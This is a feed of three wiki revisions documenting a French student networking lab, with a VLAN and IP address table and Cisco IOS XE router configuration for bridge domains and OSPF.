		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35315"/>
		<updated>2016-11-21T14:11:14Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Plages d&amp;#039;IP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35313</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35313"/>
		<updated>2016-11-21T14:09:15Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Plages d&amp;#039;IP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
- 10.60.2?.1&lt;br /&gt;
- 193.48.57.190&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
- 10.60.2?.2&lt;br /&gt;
- 193.48.57.189&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35309</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35309"/>
		<updated>2016-11-21T13:49:08Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : Page créée avec « == Plages d&amp;#039;IP ==     ==  Configuration du routeur == === Version ===  Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:   Cisco IOS XE Software, ... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
</feed>